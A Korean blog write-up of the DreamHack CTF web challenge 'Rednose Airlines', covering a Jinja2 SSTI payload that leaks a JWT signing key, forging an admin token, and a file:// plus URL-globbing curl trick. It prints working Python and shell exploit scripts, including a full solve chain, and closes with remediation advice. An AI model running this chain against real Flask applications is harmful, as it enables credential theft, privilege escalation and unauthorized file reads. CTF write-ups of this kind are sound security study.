[🥇 Gold 3] 열 글자 안에 들어가는 SSTI 하나로 — DreamHack Rednose Airlines 풀이

2026-10-21·1분 읽기·

[🥇 Gold 3] 열 글자 안에 들어가는 SSTI 하나로 — DreamHack Rednose Airlines 풀이

로그인 실패 메시지가 사용자 입력을 템플릿 소스에 끼워 넣고 그대로 렌더링한다. 길이 10자와 영문자·중괄호만 허용하는 필터 안에서 쓸 수 있는 페이로드는 사실상 하나뿐이고, 그 하나가 JWT 서명 키를 통째로 토해낸다. 마지막 관문은 셸 없는 curl 인자 하나였다.

문제: DreamHack — Rednose Airlines 분류: web 난이도: 🥇 Gold 3 FLAG: DH{ThrvGkkoUso6L6s4LHZUPIUnEXmzjUO8RlJMX8vu2V}

항공사 인트라넷을 흉내 낸 Flask 앱이다. 로그인, 관리자 대시보드, 기상정보 API 세 덩어리뿐인데 각 덩어리가 서로 다른 취약점을 하나씩 들고 있어서 셋을 이어야 플래그가 나온다.

라이브 서버 메인 화면. 주소창은 host3.dreamhack.games:22915 이고 Rednose Airlines Intranet 문구와 METAR, NOTAM, Dashboard, login 메뉴가 보인다.
라이브 서버 메인 화면. 주소창은 host3.dreamhack.games:22915 이고 Rednose Airlines Intranet 문구와 METAR, NOTAM, Dashboard, login 메뉴가 보인다.

문제 개요

항목내용
문제명Rednose Airlines
난이도🥇 Gold 3
분류web
스택Python 3.8 · Flask · PyJWT · subprocess + 시스템 curl
제공 파일Dockerfile · deploy/main.py(106줄) · templates/ 3개
서버http://host3.dreamhack.games:22915/ (드림핵 VM)
핵심 취약점로그인 실패 메시지의 .format() 결과가 render_template_string 으로 들어간다
부수 관문입력 10자 제한 · JWT 서명 검사 · 셸 없는 curl 인자 하나 · 랜덤 파일명

🔬 코드 정찰 — 106줄에서 볼 곳은 일곱 군데

main.py 는 짧다. 위험한 호출만 골라 한 번에 훑으면 구조가 바로 드러난다.

grep -n -E "len\(form_id\)|re\.search|render_template_string|format\(|subprocess\.run|JWTKey|RATE_LIMIT" extracted/deploy/main.py
grep 으로 추린 main.py 핵심 줄. JWTKey 생성과 app.config 등록, form_id 길이·정규식 검사, 57행 format 과 render_template_string 결합, 96행 subprocess.run curl 이 한 화면에 모여 있다.
grep 으로 추린 main.py 핵심 줄. JWTKey 생성과 app.config 등록, form_id 길이·정규식 검사, 57행 format 과 render_template_string 결합, 96행 subprocess.run curl 이 한 화면에 모여 있다.

읽히는 그림은 이렇다.

JWTKey = ''.join(random.choices(string.ascii_letters, k=50))
app.config['JWTKey'] = JWTKey

서명 키가 매 기동마다 영문자 50자로 새로 만들어지고, 그 키를 app.config 에 넣어 둔다. 브루트포스는 의미가 없고, 대신 app.config 를 읽을 수만 있으면 키가 통째로 나온다는 뜻이기도 하다.

return render_template_string(
    '{form_id} is not registered, or the password is incorrect.'.format(form_id=form_id))

로그인 실패 분기다. .format() 이 사용자 입력을 템플릿 소스 문자열 안에 넣고, 그 결과를 render_template_string 이 컴파일한다. 즉 내 입력은 렌더링되는 데이터가 아니라 템플릿 그 자체의 일부가 된다. 전형적인 Jinja2 SSTI 자리다.

result = subprocess.run(['curl', airport], shell=False,
                        stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True)

기상정보 API 는 airport 파라미터를 curl 에 넘긴다. shell=False 에 argv 도 ['curl', airport] 둘뿐이라 명령 주입이나 옵션 추가가 들어갈 틈이 없다. 여기는 마지막에 다시 본다.


🚧 10자 감옥 — 필터가 남겨 둔 페이로드는 몇 개 없다

SSTI 자리를 찾았어도 바로 쓸 수는 없다. 입력에 검사가 세 겹 걸려 있다.

if len(form_id) > 10:
    return "Too Long"
elif len(form_id) < 3:
    return "Too Short"
elif not re.search(r"^[A-Za-z{}]*$", form_id):
    return "Blacklist Word"

길이 3~10자, 그리고 영문자와 중괄호만. 점도 숫자도 따옴표도 못 쓴다. {{''.__class__}} 같은 객체 사다리는 시작도 못 하고, {{7*7}} 은 별표 하나 때문에 막힌다. 그래서 후보를 적어 놓고 서버 필터를 그대로 재현한 다음, 통과한 것만 실제로 던져 봤다.

#!/usr/bin/env python3
"""/login 의 form_id 필터를 그대로 재현해, 어떤 SSTI 페이로드가 살아남는지 본다.
 
서버 코드의 검사 순서:
    len(form_id) > 10            -> "Too Long"
    len(form_id) < 3             -> "Too Short"
    not re.search(r"^[A-Za-z{}]*$", form_id) -> "Blacklist Word"
살아남은 것만 실제로 POST 해서 응답 첫 줄을 찍는다.
 
usage: python3 probe_filter.py http://host3.dreamhack.games:PORT
"""
import re
import sys
import html
 
import requests
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:13000").rstrip("/")
 
PAYLOADS = [
    "{{7*7}}",                  # 교과서 SSTI 탐지
    "{{config.items()}}",       # 흔한 config 덤프
    "{{''.__class__}}",         # 객체 사다리 시작점
    "{{request.args}}",         # Flask 전역
    "{{self}}",                 # 필터는 통과
    "{{config}}",               # 필터 통과 + JWTKey 노출
]
 
 
def gate(s: str) -> str:
    """서버와 동일한 순서로 거절 사유를 돌려준다. 통과면 빈 문자열."""
    if len(s) > 10:
        return "Too Long"
    if len(s) < 3:
        return "Too Short"
    if not re.search(r"^[A-Za-z{}]*$", s):
        return "Blacklist Word"
    return ""
 
 
for p in PAYLOADS:
    why = gate(p)
    if why:
        print(f"[-] {p:<22} len={len(p):<3} 거절: {why}")
        continue
    r = requests.post(f"{BASE}/login", data={"id": p, "pw": "x"}, timeout=30)
    body = html.unescape(r.text).strip()
    key = re.search(r"'JWTKey':\s*'([A-Za-z]+)'", body)
    print(f"[+] {p:<22} len={len(p):<3} 통과 -> {len(body)}B 응답"
          + (f" | JWTKey={key.group(1)}" if key else " | 렌더만 되고 누출 없음"))
python3 probe_filter.py http://host3.dreamhack.games:22915
필터 프로브 실행 결과. 7 곱하기 7 은 Blacklist Word, config.items 와 class, request.args 는 Too Long 으로 거절되고 self 는 통과하나 누출이 없으며 config 만 816바이트 응답에 JWTKey 를 담아 돌려준다.
필터 프로브 실행 결과. 7 곱하기 7 은 Blacklist Word, config.items 와 class, request.args 는 Too Long 으로 거절되고 self 는 통과하나 누출이 없으며 config 만 816바이트 응답에 JWTKey 를 담아 돌려준다.

{{config}} 는 중괄호 넷을 포함해 정확히 10자다. 한 글자만 더 길었어도 못 썼고, {{self}} 처럼 통과해도 쓸모없는 것과 달리 이건 app.config 객체를 그대로 렌더링한다. 그리고 앞에서 본 app.config['JWTKey'] = JWTKey 때문에 그 안에 서명 키가 들어 있다.

브라우저로도 똑같이 넣어 본다. 사용자 이름 칸에 {{config}}, 비밀번호는 아무거나.

로그인 폼 화면. 주소창은 host3.dreamhack.games:22915/login 이고 Username 칸에 중괄호로 감싼 config 페이로드가 입력돼 있으며 Password 칸에는 한 글자가 채워져 있다.
로그인 폼 화면. 주소창은 host3.dreamhack.games:22915/login 이고 Username 칸에 중괄호로 감싼 config 페이로드가 입력돼 있으며 Password 칸에는 한 글자가 채워져 있다.
로그인 실패 응답 화면. Flask Config 객체가 통째로 렌더링돼 DEBUG 부터 MAX_COOKIE_SIZE 까지 나열되고 마지막에 JWTKey 와 영문자 50자 값이 그대로 노출된다.
로그인 실패 응답 화면. Flask Config 객체가 통째로 렌더링돼 DEBUG 부터 MAX_COOKIE_SIZE 까지 나열되고 마지막에 JWTKey 와 영문자 50자 값이 그대로 노출된다.

'JWTKey': 'fjvhZYPmivBfAUZPzvewOUfijQvZdepuvbfRIGxBCJtQgWSHnr' 가 화면에 그대로 찍혔다. 로그인은 여전히 실패했지만, 로그인할 이유가 사라졌다.


🔑 서명 키를 알면 관리자는 만들면 된다

대시보드와 기상정보 API 는 같은 조건을 본다.

decode_jwt = jwt.decode(request.cookies.get('auth'), JWTKey, algorithms=['HS256'])
if decode_jwt['id'] == 'admin' and decode_jwt['isAdmin'] == True:

알고리즘이 HS256 으로 고정돼 있어 alg: none 류의 장난은 통하지 않는다. 대신 키를 알고 있으니 서버와 똑같은 방식으로 토큰을 만들면 된다. 키가 틀리면 어떻게 되는지도 같이 확인해 둔다.

#!/usr/bin/env python3
"""누출한 JWTKey 로 만든 토큰이 서버의 검사를 그대로 통과하는지 손으로 확인한다.
 
서버가 하는 일(/dashboard, /api/metar 동일):
    decode_jwt = jwt.decode(cookie, JWTKey, algorithms=['HS256'])
    if decode_jwt['id'] == 'admin' and decode_jwt['isAdmin'] == True: ...
    except: fail.jpg
 
usage: python3 verify_jwt.py http://host3.dreamhack.games:PORT
"""
import re
import sys
import html
 
import jwt
import requests
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:13000").rstrip("/")
 
body = html.unescape(requests.post(f"{BASE}/login",
                                   data={"id": "{{config}}", "pw": "x"}, timeout=30).text)
key = re.search(r"'JWTKey':\s*'([A-Za-z]+)'", body).group(1)
print(f"leaked JWTKey : {key}")
 
token = jwt.encode({"id": "admin", "isAdmin": True}, key, algorithm="HS256")
print(f"forged token  : {token}")
 
claims = jwt.decode(token, key, algorithms=["HS256"])
print(f"decode(key)   : {claims}")
print(f"server 조건   : id=='admin' -> {claims['id'] == 'admin'}"
      f" / isAdmin==True -> {claims['isAdmin'] is True}")
 
try:
    jwt.decode(token, "A" * len(key), algorithms=["HS256"])
except Exception as e:
    print(f"decode(틀린키): {type(e).__name__}: {e}  -> 서버는 except 로 빠져 fail.jpg")
python3 verify_jwt.py http://host3.dreamhack.games:22915
JWT 위조 검증 결과. 누출한 키와 위조 토큰, 복호화된 클레임 id admin 과 isAdmin True, 서버 조건 두 개가 모두 True 로 찍히고 틀린 키로는 InvalidSignatureError 가 난다.
JWT 위조 검증 결과. 누출한 키와 위조 토큰, 복호화된 클레임 id admin 과 isAdmin True, 서버 조건 두 개가 모두 True 로 찍히고 틀린 키로는 InvalidSignatureError 가 난다.

서명이 틀리면 jwt.decode 가 예외를 던지고, 서버는 그 예외를 except 로 받아 고양이 사진을 돌려준다. 키를 얻기 전에 아무 쿠키나 넣어 보면 이 화면이 나온다.

잘못된 JWT 로 대시보드에 접근했을 때 화면. 주소창은 dashboard 이고 BAD JWT 문구가 박힌 고양이 짤이 본문 전체를 차지하고 있다.
잘못된 JWT 로 대시보드에 접근했을 때 화면. 주소창은 dashboard 이고 BAD JWT 문구가 박힌 고양이 짤이 본문 전체를 차지하고 있다.

위조한 토큰을 auth 쿠키에 넣으면 같은 주소가 관리자 화면으로 바뀐다.

위조 토큰으로 들어간 관리자 대시보드. 왼쪽에 Welcome Admin 과 메뉴가 있고 본문에는 인천 김포 대구 김해 제주 공항의 METAR 기상 전문이 표로 나열돼 있다.
위조 토큰으로 들어간 관리자 대시보드. 왼쪽에 Welcome Admin 과 메뉴가 있고 본문에는 인천 김포 대구 김해 제주 공항의 METAR 기상 전문이 표로 나열돼 있다.

💣 셸이 없는 curl 인자 하나로 무엇을 할 수 있나

관리자가 됐으니 기상정보 API 를 쓸 수 있다. 그런데 이 호출은 생각보다 단단하다.

result = subprocess.run(['curl', airport], shell=False, ...)
  • shell=False 라 ; | 같은 메타문자가 셸을 거치지 않는다. 그냥 curl 에게 건네지는 문자열 한 개일 뿐이다.
  • argv 가 ['curl', airport] 로 고정이라 -o -K 같은 옵션을 뒤에 붙일 수도 없다. (airport 자체를 -K 로 시작하게 만드는 길은 있지만, 그럴 거면 읽을 파일 이름을 이미 알아야 한다.)

그래서 남는 건 "curl 이 URL 하나로 혼자 할 수 있는 일" 뿐이다. curl 은 file:// 스킴을 지원하므로, 인자 하나로 로컬 파일 읽기가 된다. 문제는 읽을 파일의 이름이다.

grep -n "RUN FLAG" extracted/Dockerfile && docker exec rednose-vuln ls -l /deploy
Dockerfile 의 flag 파일명 변경 줄과 로컬 컨테이너의 디렉터리 목록. urandom 에서 소문자 4자를 뽑아 flag_ 뒤에 붙이고, 실제 컨테이너에는 flag_iafl.txt 라는 이름으로 들어가 있다.
Dockerfile 의 flag 파일명 변경 줄과 로컬 컨테이너의 디렉터리 목록. urandom 에서 소문자 4자를 뽑아 flag_ 뒤에 붙이고, 실제 컨테이너에는 flag_iafl.txt 라는 이름으로 들어가 있다.
RUN FLAG=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 4 | head -n 1); mv /deploy/flag.txt /deploy/flag_$FLAG.txt

빌드할 때마다 flag.txt 가 flag_XXXX.txt 로 바뀐다. XXXX 는 소문자 네 글자라 26⁴ = 456,976 가지다. 그리고 기상정보 API 에는 5분에 10회 제한이 걸려 있다.

RATE_LIMIT_REQUESTS = 10
RATE_LIMIT_TIMEOUT = timedelta(minutes=5)

HTTP 요청으로 45만 번을 돌릴 수는 없다. 요청 한 번 안에서 전수해야 한다.


🎯 curl URL 글로빙 — 45만 가지를 한 호출로

curl 에는 URL 글로빙이 있다. http://site/[1-100].html 처럼 쓰면 한 번의 실행으로 100개를 순서대로 가져온다. 레인지 문법은 알파벳에도 쓸 수 있어서 flag_[a-z][a-z][a-z][a-z].txt 는 네 자리 조합 전부로 펼쳐진다. 출력은 성공한 것만 이어 붙으니, 존재하지 않는 이름들은 조용히 지나간다.

로컬에서 같은 조건을 만들어 먼저 확인했다. 파일 이름은 스크립트도 모르는 상태로 둔다.

#!/usr/bin/env bash
# curl URL 글로빙만으로 "이름을 모르는 파일"을 읽을 수 있는지 로컬에서 먼저 확인한다.
# Dockerfile 과 같은 방식으로 랜덤 4자 이름을 붙인 더미 flag 를 만들고,
# 그 이름을 curl 에 알려주지 않은 채 [a-z] 레인지 4개로 전수한다.
set -u
D=/tmp/rn_glob
rm -rf "$D"; mkdir -p "$D"
NAME=$(head -c 4096 /dev/urandom | tr -dc 'a-z' | head -c 4)
echo "DH{dummy_for_glob_demo}" > "$D/flag_$NAME.txt"
 
echo "# $D 안의 파일 수: $(ls "$D" | wc -l)  (이름은 curl 에 알려주지 않는다)"
echo "# [a-z] 4개 = $((26*26*26*26)) 조합을 curl 한 번이 돈다"
time curl -s "file://$D/flag_[a-z][a-z][a-z][a-z].txt"
echo "# 정답이었던 이름: flag_$NAME.txt"
./glob_demo.sh
글로빙 데모 실행 결과. 파일 하나가 든 디렉터리에서 456976 조합을 curl 한 번으로 돌려 12.6초 만에 더미 플래그를 출력하고 정답이었던 파일 이름을 마지막에 알려준다.
글로빙 데모 실행 결과. 파일 하나가 든 디렉터리에서 456976 조합을 curl 한 번으로 돌려 12.6초 만에 더미 플래그를 출력하고 정답이었던 파일 이름을 마지막에 알려준다.

12.6초. file:// 는 네트워크를 타지 않고 로컬 open 실패를 반복하는 것뿐이라 이 정도면 충분히 빠르다. 라이브 서버에서도 체감은 비슷했고, 무엇보다 제한에 걸리는 10회 중 한 번만 쓴다. 같은 URL 을 주소창에 그대로 넣어도 된다.

브라우저로 기상정보 API 를 호출한 화면. 주소창에 file 스킴과 글로빙 패턴이 퍼센트 인코딩돼 들어가 있고 본문에는 플래그 한 줄만 출력돼 있다.
브라우저로 기상정보 API 를 호출한 화면. 주소창에 file 스킴과 글로빙 패턴이 퍼센트 인코딩돼 들어가 있고 본문에는 플래그 한 줄만 출력돼 있다.
공격 체인 도식. 1단계 SSTI 로 app.config 와 JWTKey 노출, 2단계 그 키로 관리자 토큰 위조, 3단계 셸 없는 curl 인자에 file 스킴과 글로빙을 넣어 플래그를 읽는 흐름을 보여준다.
공격 체인 도식. 1단계 SSTI 로 app.config 와 JWTKey 노출, 2단계 그 키로 관리자 토큰 위조, 3단계 셸 없는 curl 인자에 file 스킴과 글로빙을 넣어 플래그를 읽는 흐름을 보여준다.

🚀 Full Exploit

세 단계를 그대로 이어 붙이면 끝난다.

#!/usr/bin/env python3
"""Rednose Airlines (DreamHack, Gold 3, web) — full exploit chain.
 
  1) /login POST  : form_id 이 .format() 으로 템플릿 소스에 들어가 Jinja2 SSTI.
                    len 3~10 + ^[A-Za-z{}]*$ 제약 안에 들어가는 페이로드는
                    사실상 {{config}}(정확히 10자) 하나 → app.config 전체가 찍히고
                    거기에 app.config['JWTKey'] 가 들어 있다.
  2) JWT 위조      : 누출한 키로 {"id":"admin","isAdmin":true} HS256 서명.
  3) /api/metar   : subprocess.run(['curl', airport], shell=False) — 셸이 없어
                    명령주입은 불가하고 argv 도 하나뿐이다. 그래서 "curl 이
                    혼자 할 수 있는 일"만 쓴다 → file:// 로컬 파일 읽기 +
                    curl URL 글로빙([a-z] 레인지)으로 랜덤 4자 파일명을
                    한 번의 요청 안에서 456,976번 시도.
 
usage: python3 solve.py http://host1.dreamhack.games:PORT
"""
import re
import sys
import html
import urllib.parse
 
import jwt
import requests
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:13000").rstrip("/")
# 랜덤 파일명: Dockerfile 의 `tr -dc 'a-z' | fold -w 4` → [a-z]{4}
GLOB = "file:///deploy/flag_[a-z][a-z][a-z][a-z].txt"
 
 
def leak_jwt_key() -> str:
    """SSTI({{config}}) 로 app.config 를 렌더링시켜 JWTKey 를 뽑는다."""
    r = requests.post(f"{BASE}/login", data={"id": "{{config}}", "pw": "x"}, timeout=30)
    body = html.unescape(r.text)
    m = re.search(r"'JWTKey':\s*'([A-Za-z]+)'", body)
    if not m:
        raise SystemExit(f"[-] JWTKey 누출 실패\n{body[:500]}")
    return m.group(1)
 
 
def forge(key: str) -> str:
    """/dashboard · /api/metar 의 두 조건(id=='admin', isAdmin==True)을 맞춘 토큰."""
    return jwt.encode({"id": "admin", "isAdmin": True}, key, algorithm="HS256")
 
 
def read_flag(token: str) -> str:
    """curl 인자 하나로 file:// 읽기 + URL 글로빙 브루트포스."""
    url = f"{BASE}/api/metar?airport=" + urllib.parse.quote(GLOB, safe="")
    r = requests.get(url, cookies={"auth": token}, timeout=300)
    return r.text
 
 
if __name__ == "__main__":
    key = leak_jwt_key()
    print(f"[+] JWTKey  = {key}  ({len(key)} chars)")
    token = forge(key)
    print(f"[+] forged  = {token}")
    out = read_flag(token)
    print(f"[+] /api/metar 응답 {len(out)} bytes")
    for line in out.splitlines():
        if line.strip():
            print(f"[*] {line.strip()}")
    flag = re.search(r"DH\{[^}]*\}", out)
    print(f"[+] FLAG    = {flag.group(0) if flag else '(없음)'}")
python3 solve.py http://host3.dreamhack.games:22915
라이브 공격 실행 결과. 누출한 JWTKey 50자, 위조 토큰, 46바이트 응답에 이어 마지막 줄에 최종 플래그가 찍혀 있다.
라이브 공격 실행 결과. 누출한 JWTKey 50자, 위조 토큰, 46바이트 응답에 이어 마지막 줄에 최종 플래그가 찍혀 있다.
▶📄 reproduce.sh — 로컬 컨테이너로 체인 전체를 대조한다

배포본의 flag.txt 는 더미라서 로컬에서는 진짜 플래그가 나오지 않는다. 대신 컨테이너가 실제로 쥐고 있는 파일 내용을 docker exec 로 직접 읽어 정답지로 삼고, 익스플로잇이 파일명을 모르는 채 같은 값을 뽑아내는지 대조했다.

#!/usr/bin/env bash
# Rednose Airlines (DreamHack 1049, Gold 3 web) — 한 방 재현.
#
#   ./reproduce.sh                              로컬 docker 로 체인 전체를 검증 (기본)
#   ./reproduce.sh http://host3.dreamhack.games:PORT   라이브 서버에서 진짜 flag
#
# 로컬 모드는 배포본의 flag.txt 가 더미(DH{FAKEFLAG...})이므로 **진짜 flag 를 낼 수 없다.**
# 대신 컨테이너가 실제로 쥐고 있는 파일 내용을 docker 로 직접 읽어 정답지로 삼고,
# 익스플로잇이 (파일명을 모르는 채) 같은 값을 뽑아내는지 대조한다.
set -u
cd "$(dirname "$(readlink -f "$0")")"
 
if [ $# -ge 1 ]; then
  EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
  OUT=$(timeout 300 python3 solve.py "$1" 2>&1) || true
  echo "$OUT" | tail -8
  FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
  if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
    echo; echo "✅ PASS (라이브)  $FLAG"; exit 0
  fi
  echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1
fi
 
C=rednose-repro
docker rm -f "$C" >/dev/null 2>&1
docker build -t rednose-airlines ./extracted >/dev/null || { echo "❌ docker build 실패"; exit 1; }
docker run -d --name "$C" -p 13099:13000 rednose-airlines >/dev/null || { echo "❌ docker run 실패"; exit 1; }
sleep 4
 
# 정답지: 컨테이너 안의 진짜 파일 내용 (익스플로잇에는 파일명도 내용도 주지 않는다)
EXPECT=$(docker exec "$C" sh -c 'cat /deploy/flag_*.txt' | tr -d '\r\n')
echo "# 컨테이너가 쥔 파일: $(docker exec "$C" sh -c 'ls /deploy/flag_*.txt')"
 
OUT=$(timeout 300 python3 solve.py http://127.0.0.1:13099 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
docker rm -f "$C" >/dev/null 2>&1
 
if [ -n "$FLAG" ] && [ "$FLAG" = "$EXPECT" ]; then
  echo; echo "✅ PASS (로컬 체인 검증)  $FLAG"
  echo "   ※ 배포본 flag 는 더미다. 진짜 flag 는 라이브 서버 주소를 인자로 줘야 나온다."
  exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 컨테이너 실제 값: '$EXPECT')"; exit 1

🐛 삽질

▶🐛 삽질 1 — 명령 주입을 먼저 뒤졌다

subprocess.run 을 보면 반사적으로 메타문자부터 떠올리게 된다. 그런데 이 호출은 shell=False 라 ; 나 $(…) 가 셸을 만나지 못하고, argv 가 ['curl', airport] 둘로 끝나서 뒤에 옵션을 덧붙일 수도 없다. 인자 하나를 -K /etc/passwd 처럼 옵션으로 시작하게 만드는 길이 남지만, 그 방향도 결국 읽을 파일의 이름을 알아야 쓸모가 있다.

막힌 지점을 정리하고 나니 질문이 바뀌었다. "어떻게 명령을 바꾸나"가 아니라 "curl 이 URL 하나로 할 수 있는 일이 뭔가". 그 순간 file:// 와 글로빙이 보였다.

▶🐛 삽질 2 — 10자 제한을 세는 법

{{config}} 가 10자인 건 세어 보면 당연한데, 처음에는 {{config.items()}} 나 {{config['JWTKey']}} 처럼 보기 좋은 페이로드부터 떠올렸다. 둘 다 Too Long 이다. 필터를 코드로 재현해 후보를 한꺼번에 돌린 뒤에야 "통과하는 것"과 "통과하면서 쓸모 있는 것"이 다르다는 게 눈에 들어왔다. {{self}} 는 통과하지만 아무것도 안 준다.

제한이 빡빡할수록 머릿속에서 고르지 말고 필터를 그대로 옮겨 적어 전수하는 쪽이 빠르다.

▶🐛 삽질 3 — 요청 10회 제한이 생각보다 무섭다

/api/metar 는 성공한 호출마다 카운터를 올리고 10회가 되면 5분을 통째로 잠근다. 글로빙을 모르고 파일명을 HTTP 로 브루트포스했다면 시도 열 번에 5분씩, 45만 가지를 도는 데 수백 년이 걸린다. 반대로 글로빙을 쓰면 요청 한 번이라 제한을 신경 쓸 일이 없다. 제한이 걸린 쪽은 HTTP 요청 수고, 그 안에서 curl 이 몇 번을 여는지는 아무도 세지 않는다.


📝 결론

.format() 의 결과를 템플릿으로 넘기지 않는다. 이 문제의 출발점은 한 줄이다. render_template_string('{form_id} …'.format(form_id=form_id)) 는 사용자 입력을 템플릿 소스에 녹여서 컴파일한다. 고정 템플릿에 데이터로 넘기면 (render_template('login.html', form_id=form_id)) 같은 화면이 나오면서 SSTI 는 사라진다.

비밀을 app.config 에 두면 SSTI 한 방에 다 털린다. app.config 는 Jinja2 템플릿에서 기본으로 접근 가능한 객체다. 서명 키·DB 암호 같은 것을 거기 얹어 두면 템플릿 쪽 결함 하나가 곧바로 자격증명 유출이 된다. 키는 모듈 전역이나 전용 저장소에 두고, 템플릿 컨텍스트에서 보이지 않게 하는 편이 낫다.

서명 키가 새면 JWT 는 아무것도 보증하지 못한다. 알고리즘을 HS256 으로 고정하고 alg: none 을 막아 둔 건 잘한 일이지만, 대칭키 서명은 키가 곧 권한이다. 역할 판정을 토큰 클레임에만 맡기지 말고 서버 쪽 사용자 레코드와 대조하면 위조 토큰 하나로 관리자가 되지는 않는다.

shell=False 는 명령 주입만 막는다. 셸을 안 쓰니 메타문자는 무력해지지만, 그 프로그램이 원래 할 수 있는 일까지 막아 주지는 않는다. curl 은 file:// 을 읽고 URL 을 펼친다. 외부 프로그램에 사용자 입력을 넘길 때는 "셸을 거치나"보다 "그 프로그램이 이 인자로 무엇을 할 수 있나" 를 먼저 묻는 게 맞다. 여기서는 http:// https:// 만 허용하는 화이트리스트 한 줄이면 끝난다.

파일명을 랜덤으로 바꾸는 건 보호가 아니다. 45만 가지 이름이 공격 비용을 올려 주긴 했지만, 전수 수단이 요청 횟수 제한 밖에 있는 순간 그 비용은 16초로 무너졌다. 알려지지 않은 이름에 기대는 방어는 열거 수단이 하나만 있어도 그대로 사라진다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥇 Gold 2] 학교 이름이 템플릿이 되고, 공개키가 비밀키가 된다 — DreamHack dreamschool 풀이
blog

[🥇 Gold 2] 학교 이름이 템플릿이 되고, 공개키가 비밀키가 된다 — DreamHack dreamschool 풀이

가입 폼의 학교 이름 칸이 Jinja2 템플릿 소스로 컴파일돼 app.config 가 통째로 흘러나온다. 거기서 꺼낸 RSA 공개키를 HMAC 비밀키로 써서 JWT 를 위조하면 남의 학교 학생이 되고, 마지막 관문인 비밀게시판 주소는 uuid1 의 타임스탬프를 몇십 번 더해 보는 것만으로 맞춘다.
#dreamhack#ctf#web+5
2026-10-23#dreamhack +5
[🥇 Gold 4] 취약점을 찾는 게 아니라 막는 문제 — DreamHack PATCH-1 풀이
blog

[🥇 Gold 4] 취약점을 찾는 게 아니라 막는 문제 — DreamHack PATCH-1 풀이

122줄짜리 Flask 메모 API 에 심어 둔 취약점을 전부 패치해야 flag 가 나오는 문제. f-string SQLi 두 곳, format() 이 만들어 낸 Jinja2 SSTI 와 저장형 XSS, 메모 소유자 검증 누락, 소스에 박힌 secret_key 까지 여섯 군데를 로컬에서 재현해 놓고 고쳤다. 공격만 막고 끝나면 안 되고 SLA(기능 회귀) 도 같이 통과해야 한다.
#dreamhack#ctf#web+8
2026-08-06#dreamhack +5
[🥈 Silver 3] 404 페이지에 식을 넣으면 답을 한다 — DreamHack simple-ssti 풀이
blog

[🥈 Silver 3] 404 페이지에 식을 넣으면 답을 한다 — DreamHack simple-ssti 풀이

Flask 404 핸들러가 사용자 경로(request.path)를 템플릿 문자열에 그대로 박은 뒤 render_template_string 으로 렌더한다. 없는 경로에 Jinja2 식을 실으면 서버가 평가하는 SSTI 가 터지고, FLAG 가 app.secret_key 로 들어가 있어 config 한 줄로 그대로 새어 나온다.
#dreamhack#ctf#web+5
2026-06-28#dreamhack +5